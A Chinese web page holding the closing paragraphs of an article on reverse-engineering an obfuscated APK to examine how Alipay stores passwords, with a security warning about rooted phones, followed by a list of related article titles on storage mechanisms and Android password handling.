被混淆过的APK,在分析的时候无疑是十分困难的,尤其是对安卓编程不太熟悉的朋友。因此,这次没有从程序运行流程开始分析,而是采用“症状”式的猜测进行打Log分析,这一方面可以节省分析成本,另一方面也可以真实看到程序运行到某处的结果,为我们的下一步分析提供有效的数据支持。

通过本文以及前几篇安卓程序的分析文章,大家可以发现,对于“ROOT”过的手机,是没有安全可言的,最后,提醒大家要妥善地使用自己的手机,不要随意安装非正规的软件,不到万不得已不要“ROOT”掉手机。

手机支付宝密码存储机制分析相关推荐

  1. squid源码分析4—coss存储机制分析

    分类: 1. Coss 文件系统概述 1.1 概述 循环目标存储机制(Cyclic Object Storage Scheme,coss)尝试为squid定制一个新的文件系统.在ufs基础的机制下,主 ...

  2. java修改手机锁屏密码,深入理解Android M 锁屏密码存储方式

    Android M 之前锁屏密码的存储 在 Android M 之前,锁屏密码的存储格式很简单,其使用了 64 位随机数作为 salt 值,此 salt 值被存储在 SQLite 数据库 /data/ ...

  3. 通过分析 JDK 源代码研究 Hash 存储机制

    http://www.ibm.com/developerworks/cn/java/j-lo-hash/ 通过分析 JDK 源代码研究 Hash 存储机制 HashMap 和 HashSet 是 Ja ...

  4. 通过分析 JDK 源代码研究 Hash 存储机制--转载

    通过 HashMap.HashSet 的源代码分析其 Hash 存储机制 集合和引用 就像引用类型的数组一样,当我们把 Java 对象放入数组之时,并不是真正的把 Java 对象放入数组中,只是把对象 ...

  5. Memcached源码分析 - 内存存储机制Slabs(5)

    Memcached源码分析 - 网络模型(1) Memcached源码分析 - 命令解析(2) Memcached源码分析 - 数据存储(3) Memcached源码分析 - 增删改查操作(4) Me ...

  6. 微信支付与支付宝钱包的竞争分析

    微信支付与支付宝钱包的竞争分析 NO1: 十九世纪七十年代起,"物竞天择,适者生存,优胜劣汰"已逐渐成为现代生物学的口号.而今,不知不觉中,它似乎也成了当代社会学的口号.罗素说:& ...

  7. 我应该如何道德地接近用户密码存储以便以后的明文检索?

    随着我继续构建越来越多的网站和Web应用程序,我经常被要求以一种方式存储用户的密码,如果/当用户遇到问题时可以检索它们(要么通过电子邮件发送忘记的密码链接,请通过当我能够对抗这种做法时,我会做很多&q ...

  8. Android开发——后台获取用户点击位置坐标(可获取用户支付宝密码)

    1. getevent命令 我们首先是根据adb shell getevent命令获取到被点击位置的信息. 这里要说明的是,不同的手机手机获得的点击输出是不一样的.以我的真机为例,输出如下 本文原创, ...

  9. android锁屏密码文件夹,深入理解Android M 锁屏密码存储方式

    Android M 之前锁屏密码的存储 在 Android M 之前,锁屏密码的存储格式很简单,其使用了 64 位随机数作为 salt 值,此 salt 值被存储在 sqlite 数据库 /data/ ...

  10. Spring Security 之密码存储

    相关文章: OAuth2的定义和运行流程 Spring Security OAuth实现Gitee快捷登录 Spring Security OAuth实现GitHub快捷登录 Spring Secur ...

最新文章

  1. 2022-2028年中国氧化铟锡薄膜行业市场深度分析及前瞻研究报告
  2. 里程碑:BCH网络出现首例Schnorr Multisig交易
  3. Eclipse 使用maven管理发布web项目在tomcat里面只有java文件没有class文件
  4. Cloudstack介绍(一)
  5. sql2008安装时提示参数不能为空_Java Validation API,实现参数的合法性校验
  6. 【Python】WindowsError的错误代码详解
  7. CENTOS 7 踢用户_从零学ELK系列(三):Centos安装Docker(超详细图文教程)
  8. 湖南大学计算机与通信学院研究生,湖南大学计算机与通信学院2010年硕士研究生招生学科...
  9. es6 next()、throw()、return() 的共同点
  10. Linux项目日报,1Password推出Linux版本 现已进入公开预览阶段
  11. Spring Boot pom文件
  12. slitax 制定iso
  13. 工大瑞普 NP-OSPF综合实验
  14. android加载海康威视(萤石sdk)摄像头
  15. IDEA添加外部插件-yuicompressor压缩js/css 笔记
  16. 个人信息保护合规建设行业最佳指南
  17. Pdfarranger:开源的 PDF 分割和合并工具
  18. 怎样在线制作gif表情包?教你快速制作gif表情包
  19. 沃尔玛跨境智星的介绍与用法
  20. FZU 1685 跑跑卡丁车

热门文章

  1. 产品设计体会(五五)
  2. 北京二手房价分析及预测
  3. html背景消除重复,html – CSS背景渐变重复问题
  4. 幂函数展开c语言,第三章幂函数展开.pdf
  5. photoshop安装教程
  6. 机器学习(6)——凸优化理论(一)
  7. MATLAB仿真任意带宽的窄带信号、宽带信号以及全频带信号
  8. 李少白讲摄影-不放过一切光线地坛书市新书首发圆满结束
  9. python 解决Fatal error in launcher:错误问题
  10. 服务器显示404什么意思,404是什么意思?